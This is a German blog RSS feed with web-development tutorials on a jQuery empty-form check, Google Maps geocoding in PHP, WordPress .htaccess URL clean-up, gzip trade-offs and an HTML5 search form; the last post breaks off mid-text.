<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>toscho.design&#187; Suchmaschinen</title>
	<atom:link href="http://toscho.de/thema/suchmaschinen/feed/" rel="self" type="application/rss+xml" />
	<link>http://toscho.de</link>
	<description>Redaktion und schwer geprüftes Webdesign aus Halle (Saale)</description>
	<lastBuildDate>Thu, 17 May 2012 23:03:08 +0000</lastBuildDate>
	<language>de</language>
	<sy:updatePeriod>daily</sy:updatePeriod>
	<sy:updateFrequency>4</sy:updateFrequency>
	
		<item>
		<title>jQuery-Plugin: Leere Formulare verhindern</title>
		<link>http://toscho.de/2010/jquery-plugin-leere-formulare-verhindern/</link>
		<comments>http://toscho.de/2010/jquery-plugin-leere-formulare-verhindern/#comments</comments>
		<pubDate>Thu, 16 Dec 2010 07:40:15 +0000</pubDate>
		<dc:creator>Thomas Scholz</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Suchmaschinen]]></category>
		<category><![CDATA[Webdesign]]></category>
		<category><![CDATA[jQuery]]></category>

		<guid isPermaLink="false">http://toscho.de/?p=1750</guid>
		<description><![CDATA[Stellt ein Script vor, mit dem man dem Besucher versehentlich leer abgesandte Formulare erspart.]]></description>
			<content:encoded><![CDATA[<p>Für ein Projekt habe ich mein Script für das Abfangen leer abgesandter Suchformulare in ein jQuery-Plugin gepresst. </p>
<p>So sieht das aus:</p>
<pre class="notranslate"><i>/**
 * Stop empty searches
 *
 * @author Thomas Scholz http://toscho.de
 * @param  $ jQuery object
 * @return bool|object
 */</i>
(function( <var>$</var> ) {
    $.fn.preventEmptySubmit = function( <var>options</var> ) {
        var <var>settings</var> = {
            inputselector: <code class="string">"#s"</code>,
            msg</code>          : <code class="string">"Wenn Sie nach nichts suchen, werden Sie nichts finden."</code>
        };

        if ( <var>options</var> ) {
            $.extend( <var>settings</var>, <var>options</var> );
        };

        <var>this</var>.submit( function() {
            var <var>s</var> = $( <var>this</var> ).find( <var>settings.inputselector</var> );
            if ( ! <var>s</var>.val() ) {
                alert( <var>settings.msg</var> );
                s.focus();
                return false;
            }
            return true;
        });
        return this;
    };
})( jQuery );</pre>
<p>Die Funktion <code>preventEmptySubmit()</code> wird an ein jQuery-Objekt gebunden; sie kann die Parameter <code>inputselector</code> und <code>msg</code> empfangen.</p>
<p>Hat das Formular also die <code>id</code> <code>searchform</code> und das Eingabefeld die <code>id</code> <code>s</code>, so bindet man die Kontrolle so ein:</p>
<pre class="notranslate">jQuery( <code class="string">"#searchform"</code> ).preventEmptySubmit();</pre>
<p>Will man die Nachricht ändern, übergibt man einfach einen anderen Wert für <code>msg</code>:</p>
<pre class="notranslate">jQuery( <code class="string">"#searchform"</code> ).preventEmptySubmit({ <code class="string">"msg"</code>: <code class="string">"Nichts geht nicht!"</code> });</pre>
<p>Das sieht dann so aus:</p>
<p><img src="http://toscho.de/wp-content/uploads/2010/12/prevent-empty-submit-alert.png" alt="" title="PreventEmptySubmit: Alert" width="489" height="162" class="aligncenter size-full wp-image-1751" /></p>
<p>Ich verstehe von Javascript nicht viel. Jeder Hinweis oder Vorschlag ist mir willkommen.</p>
<hr />
<h2>Weitere Artikel mit loser Verwandschaft</h2>
<ul>
<li><a href="http://toscho.de/2010/jquery-interne-sprungziele-anbieten/">jQuery: Interne Sprungziele anbieten</a></li>
<li><a href="http://toscho.de/2010/suchformular-in-html5/">Suchformular in HTML5</a></li>
<li><a href="http://toscho.de/2009/evidentes-design/">Evidentes Design</a></li>
<li><a href="http://toscho.de/2009/safari-css-javascript/">Safari in CSS und Javascript ansprechen</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://toscho.de/2010/jquery-plugin-leere-formulare-verhindern/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>PHP und Google-Maps: Latitude und Longitude finden</title>
		<link>http://toscho.de/2010/php-google-maps-latitude-longitude-finden/</link>
		<comments>http://toscho.de/2010/php-google-maps-latitude-longitude-finden/#comments</comments>
		<pubDate>Wed, 21 Apr 2010 20:04:19 +0000</pubDate>
		<dc:creator>Thomas Scholz</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Suchmaschinen]]></category>
		<category><![CDATA[Webdesign]]></category>

		<guid isPermaLink="false">http://toscho.de/?p=1657</guid>
		<description><![CDATA[Wie man serverseitig Breiten- und Längengrade herausfindet und welche Fallen die Google-API hier eingebaut hat.]]></description>
			<content:encoded><![CDATA[<p>Gerade sitze ich an einem Projekt, für das ich etwa 300 <a href="http://code.google.com/intl/de/apis/maps/documentation/staticmaps/">statische Google-Karten</a> erzeugen will. </p>
<div id="attachment_1658" class="wp-caption alignright" style="width: 210px"><img src="http://toscho.de/wp-content/uploads/2010/04/staticmap-not-found.png" alt="Google Staticmap: Not found" width="200" height="184" class="size-full wp-image-1658" /><p class="wp-caption-text">Nichts gefunden</p></div>
<p>Hierzu habe ich ebenso viele Adressen zur Hand, die ich einfach der API übergeben könnte, auf daß Google selbst die passende Position finde. Problem: Wenn nichts gefunden wird, erfahre ich das im Script nicht, sondern erst beim Ansehen des Bildes.</p>
<p>Da gebe ich doch lieber <em>kein</em> Bild aus.</p>
<p>Also muß ich erst prüfen, ob Google einen Ort auf der Karte finden kann, indem ich die Ortsangabe in Breiten- und Längengrade (Latitude und Longitude) umwandeln lasse. Danke an <a href="http://fabian-beiner.de/">Fabian Beiner</a> für den Tipp dazu. Meine Googlekompetenz schien gestern so eingebrochen zu sein, daß ich <a href="http://code.google.com/intl/de/apis/maps/documentation/services.html#Geocoding_Direct">das</a> nicht selbst herausfinden konnte …</p>
<pre class="notranslate"><i>/**
 * Gets the coordinates (latitude and longitude) for a place.
 * Keeps the image URI short.
 * Thanks to Fabian Beiner - http://fabian-beiner.de/ - for the tip.
 *
 * @param  string $place
 * @return string|bool
 */</i>
function coords_by_name(<var>$place</var>)
{
    <var>$place</var>   = urlencode(<var>$place</var>);
    <var>$url</var>     = "<code class="string">http://maps.google.com/maps/geo?output=xml&amp;q=<var>$place</var></code>";

    <var>$content</var> = file_get_contents(<var>$url</var>);

    <i>// Kein Ergebnis</i>
    if ( FALSE == strpos(<var>$content</var>, 'Placemark') )
    {
        return FALSE;
    }

    <var>$xml</var>     = new SimpleXMLElement(<var>$content</var>);

    return <var>$xml</var>->Response->Placemark->Point->coordinates[0];
}</pre>
<p>Das Ergebnis sieht im Erfolgsfall so aus: <code>"11.9658140,51.4821660,0"</code>.</p>
<p>Für die statische Karte brauchen wir die letzte Angabe – <code>,0</code> – nicht; obendrein akzeptiert die API nur Angaben mit einer Genauigkeit von sechs Dezimalstellen, nicht sieben. Und wir brauchen die beiden Angaben in umgekehrter Reihenfolge für den Mittelpunkt der Karte. Da hat wohl jemand lange nachgedacht und dann Mist gebaut …</p>
<p>Deshalb habe ich mir einen kleinen Helfer geschrieben:</p>
<pre class="notranslate"><i>/**
 * Fixes latitude longitude coordinates.
 *
 * @param  string $s
 * @return bool
 */</i>
function fix_coords(<var>$s</var>)
{
    <var>$found</var> = (bool) preg_match(
        "<code class="string">~^(-?\d{1,2}\.\d{0,6})\d?,(-?\d{1,2}\.\d{0,6})\d?~</code>",
        <var>$s</var>, <var>$match</var>
    );

    if ( ! <var>$found</var> )
    {
        return FALSE;
    }

    return <var>$match</var>[2] . ',' . <var>$match</var>[1];
}</pre>
<p>Das gibt uns <code>"11.965814,51.482166"</code> aus, und damit können wir eine vernünftige Karte bauen.</p>
<p>Aber Achtung: Die Positionen der Marker muß man in umgekehrter Reihenfolge angeben!</p>
<p>Den aktuellen Zwischenstand habe ich eben mal auf GitHub hochgeladen: <a href="http://github.com/toscho/Static-Google-Map">class.Google_Static_Map</a>. Der Code wurde mir dann doch ein bißchen zu lang für einen Blogbeitrag. Dort gibt es auch einen Bugtracker für eure Hinweise oder Vorschläge, und wer Code beitragen oder einen Fork anlegen möchte, ist dazu herzlich eingeladen.</p>
]]></content:encoded>
			<wfw:commentRss>http://toscho.de/2010/php-google-maps-latitude-longitude-finden/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>WordPress und .htaccess: Request säubern</title>
		<link>http://toscho.de/2010/wordpress-htaccess-request-saeubern/</link>
		<comments>http://toscho.de/2010/wordpress-htaccess-request-saeubern/#comments</comments>
		<pubDate>Wed, 31 Mar 2010 14:29:08 +0000</pubDate>
		<dc:creator>Thomas Scholz</dc:creator>
				<category><![CDATA[Interna]]></category>
		<category><![CDATA[Suchmaschinen]]></category>
		<category><![CDATA[Webdesign]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[HTTP]]></category>

		<guid isPermaLink="false">http://toscho.de/?p=1638</guid>
		<description><![CDATA[Wie man per mod_rewrite überflüssige Querystrings entfernt und die Adressen für Archive standardisiert.]]></description>
			<content:encoded><![CDATA[<p><img src="http://toscho.de/wp-content/uploads/2010/03/wp-htaccess-150.png" alt="WordPress .htaccess" width="150" height="150" class="alignright size-full wp-image-1688" /></p>
<p>WordPress erlaubt ja sehr <a href="http://toscho.de/2009/beste-url-struktur/">flexible Permalinks</a>. Dazu schreibt man sich dieses in die .htaccess:</p>
<pre class="notranslate"><span class="tag">&lt;<a href='http://www.google.com/search?q=IfModule+%22Version+2.2%22+-%22List-Post%22+site:httpd.apache.org&amp;num=50&amp;ie=utf-8'>IfModule</a> mod_rewrite.c&gt;</span>
    <a class='directive' href='http://www.google.com/search?q=RewriteEngine+%22Version+2.2%22+-%22List-Post%22+site:httpd.apache.org&amp;num=50&amp;ie=utf-8'>RewriteEngine</a> On
    <a class='directive' href='http://www.google.com/search?q=RewriteBase+%22Version+2.2%22+-%22List-Post%22+site:httpd.apache.org&amp;num=50&amp;ie=utf-8'>RewriteBase</a> /
    <a class='directive' href='http://www.google.com/search?q=RewriteCond+%22Version+2.2%22+-%22List-Post%22+site:httpd.apache.org&amp;num=50&amp;ie=utf-8'>RewriteCond</a> <var>%{REQUEST_FILENAME}</var> !-f
    RewriteCond <var>%{REQUEST_FILENAME}</var> !-d
    <a class='directive' href='http://www.google.com/search?q=RewriteRule+%22Version+2.2%22+-%22List-Post%22+site:httpd.apache.org&amp;num=50&amp;ie=utf-8'>RewriteRule</a> . /index.php <span class="flag">[L]</span>
<span class="tag">&lt;/IfModule&gt;</span></pre>
<p>Allerdings finde ich diese Regeln noch zu großzügig; sie verhindern nicht folgende Probleme:</p>
<ul>
<li>Archive können um die Kette <code>00/</code> ergänzt werden.<br />
<code>http://example.com/2009/00/</code> liefert ganz normalen Inhalt aus; <code>http://example.com/0/</code> ebenso.</li>
<li>Manch externe Software »veredelt« gesetzte Links gerne um Trackingparameter in der Annahme, jeder verwende Google-Analytics.<br />
Twitterlinks beispielsweise bekommen ungefragt den Querystring <code>?utm_source=twitterfeed&#038;utm_medium=twitter</code> angehängt, und FeedBurner klebt ein <code>?utm_source=feedburner&#038;utm_medium=feed&#038;utm_campaign=Feed:+wdrss+(WDRSS)</code> an. Das nimmt WordPress einfach so hin.</li>
<li>Und dann gibt es noch die Spinner, die in den Parameter <code>p</code>, der eigentlich nur numerische Werte empfängt, etwas ganz anderes hineinpacken, eine URL etwa. Auch hier reagiert WordPress nicht.</li>
<li>Schließlich generiert WordPress für Archive, die geblättert werden, URLs in der Form <code>/2009/page/3/</code>.<br />
<code>/2009/page/1/</code> liefert leider denselben Inhalt wie <code>/2009/</code>, und wenn jemand eine Ebene hochklettert (dafür habe ich eine <a href="http://toscho.de/2009/vereinfachte-mausgesten-fuer-opera/">Mausgeste</a>), dann wirft <code>/2009/page/</code> nur eine wenig hilfreiche Fehlermeldung aus.</li>
</ul>
<p>Mehrere Adressen für eine Ressource wollen wir nicht. Und <a href="http://toscho.de/2009/htaccess-angriffe-sehen-blockieren/">404-Meldungen</a> sind für kaputte Crawler, nicht für richtige, wertvolle Besucher.</p>
<p>Wir werfen also den ursprünglichen WordPress-Eintrag raus und <strong>ersetzen</strong> ihn durch diesen:</p>
<pre class="htaccess"><span class="tag">&lt;<a href='http://www.google.com/search?q=LimitExcept+%22Version+2.2%22+-%22List-Post%22+site:httpd.apache.org&amp;num=50&amp;ie=utf-8'>LimitExcept</a> HEAD GET POST&gt;</span>
    <a class='directive' href='http://www.google.com/search?q=order+%22Version+2.2%22+-%22List-Post%22+site:httpd.apache.org&amp;num=50&amp;ie=utf-8'>order</a> deny,allow
    <a class='directive' href='http://www.google.com/search?q=deny+%22Version+2.2%22+-%22List-Post%22+site:httpd.apache.org&amp;num=50&amp;ie=utf-8'>deny</a> from all
<span class="tag">&lt;/LimitExcept&gt;</span>

<a class='directive' href='http://www.google.com/search?q=RewriteEngine+%22Version+2.2%22+-%22List-Post%22+site:httpd.apache.org&amp;num=50&amp;ie=utf-8'>RewriteEngine</a> On
<a class='directive' href='http://www.google.com/search?q=RewriteBase+%22Version+2.2%22+-%22List-Post%22+site:httpd.apache.org&amp;num=50&amp;ie=utf-8'>RewriteBase</a> /

<i># Catch obstrusive tracking parameters like ...</i>
<i># ?utm_source=twitterfeed&amp;utm_medium=twitter or</i>
<i># ?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed:+wdrss+(WDRSS)</i>
<i># ... because they generate doubled content.</i>
<a class='directive' href='http://www.google.com/search?q=RewriteCond+%22Version+2.2%22+-%22List-Post%22+site:httpd.apache.org&amp;num=50&amp;ie=utf-8'>RewriteCond</a> <var>%{QUERY_STRING}</var> utm_source= <span class="flag">[NC,OR]</span>
<i># Some people put their own URIs into this parameter. May be better banned.</i>
RewriteCond <var>%{QUERY_STRING}</var> ^p=\D
<i># The question mark removes the query string.</i>
<a class='directive' href='http://www.google.com/search?q=RewriteRule+%22Version+2.2%22+-%22List-Post%22+site:httpd.apache.org&amp;num=50&amp;ie=utf-8'>RewriteRule</a> (.*) /$1? <span class="flag">[L,R=301]</span>

<i># WordPress allows URLs like /2010/0/ or /00/ == doubled content</i>
RewriteRule (^0+|(.*)/0+)/$ /$2 <span class="flag">[L,R=301]</span>

<i># WordPress: paged content creates a /page/</i>
RewriteRule (^p|(.*)/p)age/(1/)?$ /$2 <span class="flag">[L,R=301]</span>

<i># Fix double slashes redirect /a///b to /a/b
# <a href="http://toscho.de/2009/wordpress-2-8-3-das-doppelslash-problem/">http://toscho.de/2009/wordpress-2-8-3-das-doppelslash-problem/</a></i>
RewriteCond <var>%{THE_REQUEST}</var> ^[A-Z]+\ /(([^/\ ]+/)*)/+([^\ ]*)
RewriteRule ^ /%1%3 <span class="flag">[L,R=301]</span>

<i># Images, Stylesheets etc.</i>
RewriteCond <var>%{REQUEST_URI}</var> !.+\.\w{2,4}$
<i># Existing file</i>
RewriteCond <var>%{REQUEST_FILENAME}</var> !-f
<i># Existing directory</i>
RewriteCond <var>%{REQUEST_FILENAME}</var> !-d
<i># Symbolic link</i>
RewriteCond <var>%{REQUEST_FILENAME}</var> !-l
RewriteRule ^ index.php <span class="flag">[L]</span>
</pre>
<p>Mein Dank geht an <a href="http://frncs.co/">Francesco Schwarz</a> (<a title="Francesco Schwarz auf Twitter" href="http://twitter.com/isellsoap/">@isellsoap</a>) für seine ausführlichen Tests.</p>
]]></content:encoded>
			<wfw:commentRss>http://toscho.de/2010/wordpress-htaccess-request-saeubern/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Gzip: Pro und Kontra</title>
		<link>http://toscho.de/2010/gzip-pro-und-kontra/</link>
		<comments>http://toscho.de/2010/gzip-pro-und-kontra/#comments</comments>
		<pubDate>Wed, 13 Jan 2010 16:15:18 +0000</pubDate>
		<dc:creator>Thomas Scholz</dc:creator>
				<category><![CDATA[Browser]]></category>
		<category><![CDATA[Suchmaschinen]]></category>
		<category><![CDATA[Webdesign]]></category>
		<category><![CDATA[htaccess]]></category>

		<guid isPermaLink="false">http://toscho.de/?p=1601</guid>
		<description><![CDATA[Warum gzip nicht nur Probleme löst und wann man sich dafür oder dagegen entscheidet.]]></description>
			<content:encoded><![CDATA[<p>Die Firefox-Addons <a href="https://addons.mozilla.org/de/firefox/addon/5369">YSlow (Yahoo)</a> und <a href="http://code.google.com/intl/de/speed/page-speed/">Page Speed (Google)</a> helfen Webentwicklern, die Ladezeiten ihrer Seiten zu beschleunigen.<br />
Sie arbeiten ihrer Natur nach sehr pauschal und empfehlen immer, alle textbasierten Webressourcen mit <i lang="en">gzip</i> zu komprimieren.</p>
<p><a href="http://www.gzip.org/">Gzip</a> (<abbr title="GNU is not Unix">GNU</abbr> zip) komprimiert Textdateien sehr effizient. Das Format wird nicht durch Patente belastet, und die meisten Browser und Crawler können damit umgehen. Die <em>meisten</em>, nicht <em>alle</em>.</p>
<p>Wir können die komprimierte Variante einer Ressource nicht auf gut Glück verschicken, sondern nur, wenn der Empfänger dies bekannt gibt:</p>
<p><em lang="en">Request-Header:</em></p>
<pre class="notranslate">Accept-Encoding: <strong>deflate</strong>, <strong>gzip</strong>, <strong>x-gzip</strong>, identity, *;q=0</pre>
<p>Das heißt: Wir müssen <i lang="en">Content-Negotiation</i> betreiben, über den Inhalt also mit dem Empfänger verhandeln – und eine unkomprimierte Variante vorhalten. </p>
<p>Spannend finde ich die Erkenntnisse, die Arvind Jain und Jason Glasgow <a href="http://googlecode.blogspot.com/2009/11/use-compression-to-make-web-faster.html">zusammengefaßt</a> haben: Anti-Virus-Software, Browser-Bugs, Webproxys und fehlkonfigurierte Webserver verhindern oft die Kompression.</p>
<p>Nehmen wir einmal an, Browser 1 verstehe gzip, Browser 2 nicht. Beide erreichen unsere Website über den selben Proxyserver. Browser 1 holt sich die gzip-Variante, der Proxy speichert diese und schickt sie später Browser 2. Obwohl der mit gzip nichts anzufangen weiß. Nicht so gut.</p>
<p>Also senden wir das Dokument mit einem Response-Header zurück, der den Proxy darüber informiert, wann er die Seite an einen anderen Browser ausliefern darf: Wenn der das gleiche <i lang="en">Accept-Encoding</i> vorlegt.</p>
<p><em lang="en">Response-Header:</em></p>
<pre class="notranslate">Vary: Accept-Encoding</pre>
<p>Der <i lang="en">Vary-Header</i> wurde erst in HTTP/1.1 eingeführt – also bekommen alle Anfragen, die per HTTP/1.0 einschlagen, <em>immer</em> die unkomprimierte Variante.</p>
<p>Jetzt kann der Internet Explorer (zumindest bis Version 6) die unkomprimierte Ressource überhaupt <a href="http://marc.info/?l=apache-modgzip&#038;m=103951214411428&#038;w=2">nicht mehr</a> im <i lang="en">Cache behalten</i>, und die komprimierte landet auf jeden Fall darin. »Abhilfe« schafft ein weiterer </p>
<p><em lang="en">Response-Header:</em></p>
<pre class="notranslate">Cache-Control: private</pre>
<p>Und jetzt kann der Proxy die Ressource nicht mehr speichern. </p>
<p>Um das Thema »Internet Explorer« schnell hinter uns zu bringen, seien noch zwei Bugs erwähnt: </p>
<ul>
<li>Wenn ein XHTML-Dokument komprimiert und mit XML-Deklaration verschickt wird <em>und</em> überdies sehr lange oder viele Response-Header (Cookies beispielsweise) vorausgehen, dann versucht der Internet Explorer 6 in einigen Versionen, den MIME-Typen zu erraten. Er kommt dann zu dem Schluß, er habe XML vor der Nase – und <a href="http://support.microsoft.com/kb/947195/en-us">scheitert kläglich</a>.</li>
<li>Wenn ein komprimiertes Dokument per SSL (HTTPS) angeboten wird, kann es auch passieren, daß der Leser <a href="http://support.microsoft.com/?scid=kb;en-us;837251&#038;spid=2073&#038;sid=218">gar nichts sieht</a>.</li>
</ul>
<p>Inzwischen hat sich die Situation jedoch <a href="http://blogs.msdn.com/ie/archive/2005/10/31/487509.aspx">gebessert</a>.</p>
<p>Zu den Problemen beim Transfer und beim Caching stellt sich noch die Frage: <em>Lohnt es sich?</em><br />
Das Ein- und Auspacken kostet ja auch Zeit. Gerade bei Dokumenten, die erst bei Abruf komprimiert werden, müssen wir Faktoren berücksichtigen, die eventuell den Zeitgewinn ausstechen: die Serverlast und die Verarbeitungsdauer auf dem Server und beim Client.<br />
Ein 3-kB-Dokument zu komprimieren, bringt überhaupt nichts. Bei 5 kB wird es langsam interessant, und ab 10 kB spürt der Leser den Unterschied.</p>
<p>Wir sollten beide Varianten statisch vorhalten, damit der Server nicht immer wieder dieselbe Arbeit erledigen muß. Hier fällt natürlich noch ein gewisser Koordinationsaufwand an.</p>
<p>Wann also komprimieren?</p>
<ul>
<li>Wenn die Ressource nicht unbedingt im Cache landen soll und/oder</li>
<li>5 kB überschreitet und</li>
<li>der Server genug Kapazität dafür übrig hat oder beide Varianten fertig vorliegen.</li>
</ul>
<p>Und wann nicht?</p>
<ul>
<li>Wenn die Ressource unbedingt in den Cache gelangen soll (Stylesheets in einem Webforum) und noch viele IE-6-Nutzer daherkommen oder</li>
<li>der Server unter hoher Last steht oder</li>
<li>das generierende Skript schon lange genug arbeitet.</li>
</ul>
<p>Diese Hinweise bitte ich als grobe Richtlinien zu verstehen. Je nach Kontext können sie auch sehr danebenliegen. Per <code>@font-face</code> eingebettete Schriften will man <a href="http://www.phpied.com/font-face-gzipping-take-ii/">ganz gewiß komprimieren</a> – aber nur einmal verschicken. Hier lohnt sich ein <a href="http://toscho.de/2010/logfiles-analysieren/">Blick ins Logfile</a>: Welche Browser benutzen meine Leser? Und dann trifft man eine informierte Entscheidung.</p>
]]></content:encoded>
			<wfw:commentRss>http://toscho.de/2010/gzip-pro-und-kontra/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Suchformular in HTML5</title>
		<link>http://toscho.de/2010/suchformular-in-html5/</link>
		<comments>http://toscho.de/2010/suchformular-in-html5/#comments</comments>
		<pubDate>Fri, 08 Jan 2010 21:57:49 +0000</pubDate>
		<dc:creator>Thomas Scholz</dc:creator>
				<category><![CDATA[Browser]]></category>
		<category><![CDATA[Interna]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Markup]]></category>
		<category><![CDATA[Suchmaschinen]]></category>
		<category><![CDATA[Webdesign]]></category>

		<guid isPermaLink="false">http://toscho.de/?p=1578</guid>
		<description><![CDATA[Wie ich versuche, mein Suchfeld aufzuwerten: Mit HTML5 und Javascript.]]></description>
			<content:encoded><![CDATA[<!--TOC-->
<p>Ein großer Teil der HTML5-Spezifikation sieht aus, als werde bislang ungenormtes Browserverhalten schlicht dokumentiert. Aber der HTML-3.2-Geruch verfliegt, sobald wir unser Auge auf Formulare richten.</p>
<p>Mein Suchformular habe ich endlich ganz und gar auf die neuen Verhältnisse umgestellt.</p>
<h2>Beispiel</h2>
<pre class="notranslate">&lt;form
  method="<code class="string">GET</code>"
  id="<code class="string">searchform</code>"
  accept-charset="<code class="string">utf-8</code>"
  action="<code class="string">/</code>"
&gt;
  &lt;div&gt;
    &lt;input
      title="<code class="string">Suche</code>"
      type="<code class="string">search</code>"
      value="&lt;?php <a href="http://codex.wordpress.org/Template_Tags/the_search_query">the_search_query()</a>; ?&gt;"
      name="<code class="string">s</code>"
      id="<code class="string">s</code>"
      pattern="<code class="string">.+</code>"
      required
    &gt; 
    &lt;input
      type="<code class="string">submit</code>"
      id="<code class="string">searchsubmit</code>"
      value="<code class="string">Suche</code>"
    &gt;
  &lt;/div&gt;
&lt;/form&gt;</pre>
<h2>Markup</h2>
<p>Na, um das herauszufinden, braucht niemand einen Artikel. Ich möchte aber gerne meine Gründe mit euch diskutieren.</p>
<p>Auf das Element <code>label</code> verzichte ich. Das Eingabefeld hat ein <code>title</code>-Attribut, und der Button gleich danach trägt einen unmißverständlichen Text. Damit kommt auch der Nutzer eines Screenreaders gut zurecht.</p>
<p>Das Attribut <code>accept-charset</code> fungiert als redundante Sicherheitsleine. Ich <a href="http://toscho.de/2009/zeichenkodierung-angeben/">gebe die Zeichenkodierung</a> im HTTP-Header schon an, und im <code>meta</code>-Element steht sie auch. </p>
<p>Interessant wird endlich der Wert des Attributes <code>type</code> im ersten <code>input</code>-Element: <code>search</code> wurde <a href="http://ln.hixie.ch/?start=1089635050&#038;count=1" hreflang="en">von <i lang="en">Apple</i> durch die Hintertür in HTML5 eingeschmuggelt</a>, sieht jetzt aber doch recht vernünftig aus.</p>
<p><div id="attachment_289" class="wp-caption alignright" style="width: 314px"><img src="http://toscho.de/wp-content/uploads/2009/01/safari-suche.png" alt="Suchfeld in Safari 3" title="Safari-Suche" width="304" height="243" class="size-full wp-image-289" /><p class="wp-caption-text">Suchfeld in Safari 3</p></div>Safari hat solche Elemente in der Version 3 noch <em>generell</em> mit abgerundeten Ecken verziert.</p>
<p>Das hat sich aber mit einigen Formatierungen gebissen, die hier und da auftauchten (insbesondere <code>border</code>, <code>outline</code> und <code>background</code>), und inzwischen beschränkt sich zumindest die Windowsversion auf eine Lupe und einen Pfeil.<br />
<div id="attachment_1579" class="wp-caption alignnone" style="width: 257px"><img src="http://toscho.de/wp-content/uploads/2010/01/safari-suche.png" alt="Suchfeld in Safari 4" title="Safari-4-Suche" width="247" height="46" class="size-full wp-image-1579" /><p class="wp-caption-text">Suchfeld in Safari 4</p></div></p>
<p>Browser, die diesen Attributwert nicht kennen, unterstellen automatisch <code>type="text"</code>.</p>
<p>Wenn jemand schon etwas gesucht hat, dann steht der Suchbegriff natürlich im Feld, damit derjenige seine Anfrage bei Bedarf verbessern kann.</p>
<p>Sonst steht nichts darin. <strong>Kein Fülltext.</strong> An diesem Punkt laufen viele Gestalter leicht in eine Falle: Vor vielen, vielen Jahren gab es ein paar Screenreader, die Eingabefelder nur dann erkannten, wenn Text darin stand. Die haben sich verständlicherweise nicht lange gehalten. Deutlich länger freilich blieb die Idee, so ein Text sei hilfreich.</p>
<p>Der Text muß automatisch verschwinden, wenn man den Fokus ins Feld legt – sonst zwingt man den Besucher zu umständlichen Löscharbeiten. Also darf er nur per Javascript eingefügt werden, denn nur so funktioniert das automatische Löschen. Wer ohne Javascript auf die Seite kommt, hätte andernfalls ja doch die Löscherei von Hand zu erledigen.</p>
<p>Die Funktion des Feldes muß also schon ohne Javascript klar erkennbar sein. Ist das nicht der Fall, muß man das Formular entsprechend reparieren.</p>
<p>Wenn also ohne Javascript schon alles klar ist, brauchen wir auch den Fülltext nicht. Ich habe noch keine Seite gesehen, auf der dieser Text irgendeinen erkennbaren Mehrwert gebracht hat.</p>
<p>Das Attribut <code>pattern</code> beschreibt mit einem regulären Ausdruck, welche Zeichen erwartet werden. Hier möchte ich mindestens eines, denn sonst vergeudet der Leser nur seine Zeit.<br />
Dieses Attribut ist im Grunde redundant, denn das nächste – <code>required</code> – verlangt auch mindestens ein Zeichen. Ich habe beide eingebaut, um denjenigen zu helfen, deren Browser nur eins erkennt.</p>
<p>Diese Attribute erzwingen eine clientseitige Validierung der Eingabe auch dann, wenn der Leser Javascript ausgeschaltet hat.</p>
<p>Der Absendebutton hat kein Attribut <code>name</code>. So wird dessen Wert auch nicht übertragen, und die URL für die Suche bleibt hübsch übersichtlich.</p>
<h2>Javascript</h2>
<p>Das Suchformular habe ich mit einer kleinen Funktion aufgepeppt:</p>
<pre class="notranslate">function addEvent(<var>target</var>, <var>eventType</var>, <var>functionRef</var>, <var>capture</var>) {
    if (typeof <var>target</var>.addEventListener != "<code class="string">undefined</code>") {
        <var>target</var>.addEventListener(<var>eventType</var>, <var>functionRef</var>, <var>capture</var>);
    } else if (typeof <var>target</var>.attachEvent != "<code class="string">undefined</code>") {
        <var>target</var>.attachEvent("<code class="string">on</code>" + <var>eventType</var>, <var>functionRef</var>);
    } else {
        <var>eventType</var> = "<code class="string">on</code>" + <var>eventType</var>;
        if (typeof <var>target</var>[eventType] == "<code class="string">function</code>") {
            var <var>oldListener</var> = <var>target</var>[eventType];
            <var>target</var>[eventType] = function() {
                <var>oldListener</var>();
                return <var>functionRef</var>();
            };
        } else {
            <var>target</var>[eventType] = <var>functionRef</var>;
        }
    }
}
function checkSearch() {
    var <var>sform</var>           = document.getElementById("<code class="string">searchform</code>");
    var <var>s</var>               = document.getElementById('<code class="string">s</code>');
    <var>s</var>.setAttribute('<code class="string">autosave</code>', '<code class="string">toscho.de</code>');
    <var>s</var>.setAttribute('<code class="string">results</code>', '<code class="string">15</code>');
    var <var>submit</var>          = document.getElementById('<code class="string">searchsubmit</code>');
    <var>sform</var>.onsubmit = function() {
        if ( '' == <var>this</var>.<var>s</var>.value ) {
            alert('<code class="string">Wenn Sie nach nichts suchen, werden Sie nichts finden.</code>');
            <var>s</var>.focus();
            return false;
        }
        return true;
    };
}
addEvent(window, '<code class="string">load</code>', checkSearch);</pre>
<p>Die erste Funktion <code>addEvent()</code> habe ich aus dem <a href="http://www.sitepoint.com/books/jsant1/">Javascript-Buch von SitePoint</a>. Den Rest habe ich mir selbst zusammengeschustert. Ihr seht bestimmt, was ich alles besser machen kann.</p>
<p>Hier werden zunächst diese beiden Zeilen relevant:</p>
<pre class="notranslate"><var>s</var>.setAttribute('<code class="string">autosave</code>', '<code class="string">toscho.de</code>');
<var>s</var>.setAttribute('<code class="string">results</code>', '<code class="string">15</code>');</pre>
<p>Die helfen den Nutzern webkit-basierter Browser wie Safari oder Google Chrome. Sie sagen: Merke dir automatisch die letzten 15 Einträge, und ordne sie der Domain toscho.de zu. Im Screenshot aus Safari 3 oben sieht man solch einen gespeicherten Ausdruck.<br />
